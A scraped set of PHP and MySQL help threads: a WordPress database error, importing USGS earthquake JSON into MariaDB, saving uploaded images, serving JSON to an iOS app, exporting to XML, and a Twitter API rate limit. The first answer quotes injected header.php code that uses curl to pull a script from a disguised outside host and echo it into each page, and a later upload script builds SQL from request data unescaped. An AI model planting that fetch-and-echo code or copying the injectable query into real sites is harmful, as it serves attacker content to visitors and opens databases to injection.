Couldn't connect to database server.Couldn't find database jimbob_jc - mysql

I need your advise.
I'm using wordpress, and i got error on header with following message:
*Couldn't connect to database server.Couldn't find database jimbob_jc.
An unexpected problem has occured with the application.
SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*
What's that mean? How do I fix it?
I have searched Google but I've not had any success with others having similar problems.

Comment out the following code in the header.php file.
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>

Related

how to import json file from https web page into a mariadb or mysql database?

I am trying to import a file into a mariadb (mysql), database. A proof of concept file is in .json format on the web at this location. https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_week.geojson
I know how to do this on db2 for i.
select * from JSON_TABLE(
SYSTOOLS.HTTPGETCLOB('https://earthquake.usgs.gov' ||
'/earthquakes/feed/v1.0/summary/all_week.geojson',null),
'$.features[*]'
COLUMNS( MILLISEC BIGINT PATH '$.properties.time',
MAG DOUBLE PATH '$.properties.mag',
PLACE VARCHAR(100) PATH '$.properties.place'
)) AS X;
This reads a from the web and lists 3 fields. Surrounding it with an insert clause will put it into a database file for me.
I would like to do exactly the same thing on my home server using mariadb. Ultimately a script will run unattended on a hosted server.
A .json segment of the earthquake data looks like this:
… "features":[
{"type":"Feature",
"properties":{
"mag":1.1,
"place":"58 km WNW of Anchor Point, Alaska",
"time":1640472257402,
"updated":1640472615410,
"tz":null,
"url":"https://earthquake.usgs.gov/earthquakes/eventpage/ak021gi3al5x",
"detail":"https://earthquake.usgs.gov/earthquakes/feed/v1.0/detail/ak021gi3al5x.geojson",
"felt":null,
"cdi":null,
"mmi":null,
"alert":null,
"status":"automatic",
"tsunami":0,
"sig":19,
"net":"ak",
"code":"021gi3al5x",
"ids":",ak021gi3al5x,",
"sources":",ak,",
"types":",origin,",
"nst":null,
"dmin":null,
"rms":0.79,
"gap":null,
"magType":"ml",
"type":"earthquake",
"title":"M 1.1 - 58 km WNW of Anchor Point, Alaska"},
"geometry":{
"type":"Point",
"coordinates":[-152.8406,59.9119,89.7]
},
"id":"ak021gi3al5x"
}, ...
Just a thought, but you could maybe just write a BASH script, e.g.
#!/bin/sh
cd "$(dirname "$0")"
export PATH=/bin:/usr/bin:/usr/local/bin
TODAY=`date +"%d%b%Y-%H%M"`
MYSQL_HOST='127.0.0.1'
MYSQL_PORT='3306'
MYSQL_USER='root'
MYSQL_PASSWORD='root'
url=https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_week.geojson
DATA=$(curl ${url} 2>/dev/null)
printf '%s' "$DATA" | awk '{print $0}'
exit
...
...
...
and then use a tool like https://webinstall.dev/jq/, Python and whatever other tools you have on your system to extract the data that you want and then update the DB.
I am more familiar with PHP, which would work also. You could tidy that up a bit, but seems to work actually.
earthquake.php
<?php
$database = false;
try {
$options = array(PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ, PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING, PDO::ATTR_EMULATE_PREPARES => true );
$conn = new PDO('mysql:host=127.0.0.1;dbname=test;port=3306;charset=utf8','root','root', $options);
} catch (PDOException $e) {
// Echo custom message. Echo error code gives you some info.
echo '[{"error":"Database connection can not be estabilished. Please try again later. Error code: ' . $e->getCode() . '"}]';
exit;
}
$url = "https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_week.geojson";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
$features = json_decode($result)->features;
foreach ($features as $feature) {
echo 'Mag: '.$feature->properties->mag.', Place: '.$feature->properties->place.', '.gmdate("Y-m-d H:i:s", $feature->properties->time/1000).PHP_EOL;
$query = 'INSERT INTO features (mag, place, time) VALUES (?, ?, ?)';
$params = [$feature->properties->mag, $feature->properties->place, gmdate("Y-m-d H:i:s", $feature->properties->time/1000)];
$stmt = $conn->prepare($query) or die ('["status":{"error":"Prepare Statement Failure","query":"' .$query . '"}]');
$stmt->execute($params) or die('[{"error":"' . $stmt->errorInfo()[2] . '","query":"' .$query . '","params":' .json_encode($params) . '}]');
}
?>
create a local DB called features with mag, place and time columns. If you have php on your system just run it from the CLI, php earthquake.php
e.g. Insert into mysql from Bash script
I use Laravel a bit, and would probably actually build my own model and use Eloquent and a little UI to handle that, but using a script seems like an option.

I want to save a image file to server folder and save its path to mysql

The problem is that the image is not moved to UPLOAD_DIR path, but the path of that file is successfully inserted in server.
<?php
$con=require_once("connection.php");
define('UPLOAD_DIR', 'http://hpms.hostei.com/images/');
$image= $_REQUEST['image']; //byte image data received
$image = str_replace('data:image/png;base64,', '', $image);
$image = str_replace(' ', '+', $image);
$data = base64_decode($image);
$file = UPLOAD_DIR . uniqid() . '.png';
$success = file_put_contents($file, $data);//
print $success ? $file : 'Unable to save the file.';
$code=0;
if($r=mysql_query("insert into images values('','$file')"))
{
$code=1;
}
print(json_encode($code));
mysql_close();
?>
Hi awais khan sar,
You can use the $_FILES server variable. $_REQUEST is used for GET and POST both method
but you are uploading images i have also this problem and solved with this type. you can
create post method from any mobile device then save it into folder using
move_uploaded_file() if any query then tell me, Thanks Hiren kubavat.

Xcode connect error

I have Xcode 4.6.
I want connect mysql database with my app.
So i found this tutorial
http://www.youtube.com/watch?v=ipppykYUzh4#at=104,http://www.youtube.com/watch?v=tvv1KlZ-594
I am was continue Step by Step but i do not know where is my error.
this is my xcode project. Plese look at this and tell me what is wrong.
https://www.dropbox.com/s/4pj1xj4f736l42m/mysql.zip
Thanks for help.
this is php code
<?php
header('Content-type: application/json');
$DB_HostName = '127.0.0.1';
$DB_Name = 'test';
$DB_User = 'root';
$DB_Pass = '';
$con = mysql_connect($DB_HostName,$DB_User,$DB_Pass) or die(mysql_error());
mysql_select_db($DB_Name,$con) or die(mysql_error());
$sql = 'SELECT * FROM phpmysql';
$result = mysql_query($sql,$con) or die(mysql_error());
$num = mysql_numrows($result);
mysql_close();
$rows =array();
while ($r = mysql_fetch_assoc($result)){
$rows[] = $r;
}
echo json_encode($rows);
?>
THIS IS MY ERROR
2013-07-30 10:27:22.335 mysql[4095:c07] *** Assertion failure in -[UITableView dequeueReusableCellWithIdentifier:forIndexPath:], /SourceCache/UIKit_Sim/UIKit-2380.17/UITableView.m:4460
2013-07-30 10:27:22.336 mysql[4095:c07] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'unable to dequeue a cell with identifier Cell - must register a nib or a class for the identifier or connect a prototype cell in a storyboard'
*** First throw call stack:
(0x1c91012 0x10cee7e 0x1c90e78 0xb64665 0xc46c4 0x2c88 0xcd8fb 0xcd9cf 0xb61bb 0xc6b4b 0x632dd 0x10e26b0 0x228dfc0 0x228233c 0x228deaf 0x1022bd 0x4ab56 0x4966f 0x49589 0x487e4 0x4861e 0x493d9 0x4c2d2 0xf699c 0x43574 0x4376f 0x43905 0x4c917 0x1096c 0x1194b 0x22cb5 0x23beb 0x15698 0x1becdf9 0x1becad0 0x1c06bf5 0x1c06962 0x1c37bb6 0x1c36f44 0x1c36e1b 0x1117a 0x12ffc 0x243d 0x2365)
libc++abi.dylib: terminate called throwing an exception
(lldb)
Ok, the problem here is that your PHP script returns json_encode($rows) at first, then a var_dump($rows). So, clearly, it's not a JSON that is returned, while your Objective-C code expects a JSON.
Try adding a header('Content-type: application/json'); in the beginning of your file, and remove the var_dump at the end.
EDIT : this is the new PHP script
<?php
header('Content-type: application/json'); // Specify that the result of your script is a JSON
$DB_HostName = '127.0.0.1';
$DB_Name = 'test';
$DB_User = 'root';
$DB_Pass = '';
$con = mysql_connect($DB_HostName,$DB_User,$DB_Pass) or die(mysql_error());
mysql_select_db($DB_Name,$con) or die(mysql_error());
$sql = 'SELECT * FROM phpmysql';
$result = mysql_query($sql,$con) or die(mysql_error());
$num = mysql_numrows($result);
mysql_close();
$rows =array();
while ($r = mysql_fetch_assoc($result)){
$rows[] = $r;
}
echo json_encode($rows);
?>
EDIT 2 : Here is a similar question to yours, see the answer.

MySQL to XML file

I am trying to get MySQL database into an xml file; here is my code:
<?php
header("Content-type: text/xml");
include 'dbc.php';
$query = "SELECT * FROM airports LIMIT 50";
$result = mysql_query($query, $link)
or die('Error querying database.');
$xml = new SimpleXMLElement('<xml/>');
while($row = mysql_fetch_assoc($result)) {
$draw = $xml->addChild('draw');
$draw->addChild('ident',htmlentities(iconv("UTF-8", "ISO-8859-1//IGNORE",$row['ident'])));
$draw->addChild('name',htmlentities(iconv("UTF-8", "ISO-8859-1//IGNORE",$row['name'])));
}
mysql_close($link);
$fp = fopen("links2.xml","wb");
fwrite($fp,$xml->asXML());
fclose($fp);
Here is the error Im getting:
XML Parsing Error: no element found
Location: /sql2xml2.php
Line Number 1, Column 2:
-^
What am I doing wrong???
Your XML is considered invalid in your XML reader because of the thrown warning, thus the XML Parsing Error: junk after document element issue.
As for the warning itself, you need to escape special entities (namely &, < and > in your content when adding it like that (using str_replace usually works well for only those 3 when it comes to XML, htmlentities may yield undesired effects, unless you supply PHP 5.4's ENT_XML1 mode).
Refer to a related answer for more information of why this happens.
If you want just to export MySQL database to local XML file you can use mysqldump tool:
mysqldump --xml -u username -p databasename [tablename] > filename.xml
Got it to work with this code:
<?
header("content-type:text/xml");
function getXML($query="SELECT * FROM airports limit 50")
{
include 'dbc.php';
$result = mysql_query($query, $link)
or die('Error querying database.');
$columns="";
echo "<xml>\n";
while($row=mysql_fetch_assoc($result))
{
$columns.="\t<airport>\n";
foreach($row as $key => $value)
{
$value = htmlentities(iconv("UTF-8", "ISO-8859-1//TRANSLIT",$value));
$value = htmlentities(iconv("UTF-8", "ISO-8859-1//IGNORE",$value));
$columns.="\t\t<$key>$value</$key>\n";
}
$columns.="\t</airport>\n";
}
echo $columns;
echo "</xml>\n";
}
getXML();
?>

Error file_get_contents with twitter search api

I have the following problem: when this script runs
$url = 'http://search.twitter.com/search.json?q=obama';
$tw = file_get_contents($url,0,null,null);
I receive this message.
Warning (2): file_get_contents(http://search.twitter.com/search.json?q=obama) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.0 420 Client Error (420)
But it's very strange because it has always been working!
Can you help me?
Adding...I tried to use CURL in this way
$url = 'http://search.twitter.com/search.json?q=obama';
$c = curl_init();
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_URL, $url);
$contents = curl_exec($c);
echo $contents;
curl_close($c);
but call returned this message
"error":"You have been rate limited. Enhance your calm."} and it seemed absurd because I didn't make any request before.
I found everywhere that the best practice in this case is use CURL.
I don't know why but then I tried to pass parameter ('obama') with urlencode and it seems to be that syntax (previously incorrect) the main cause of this warning.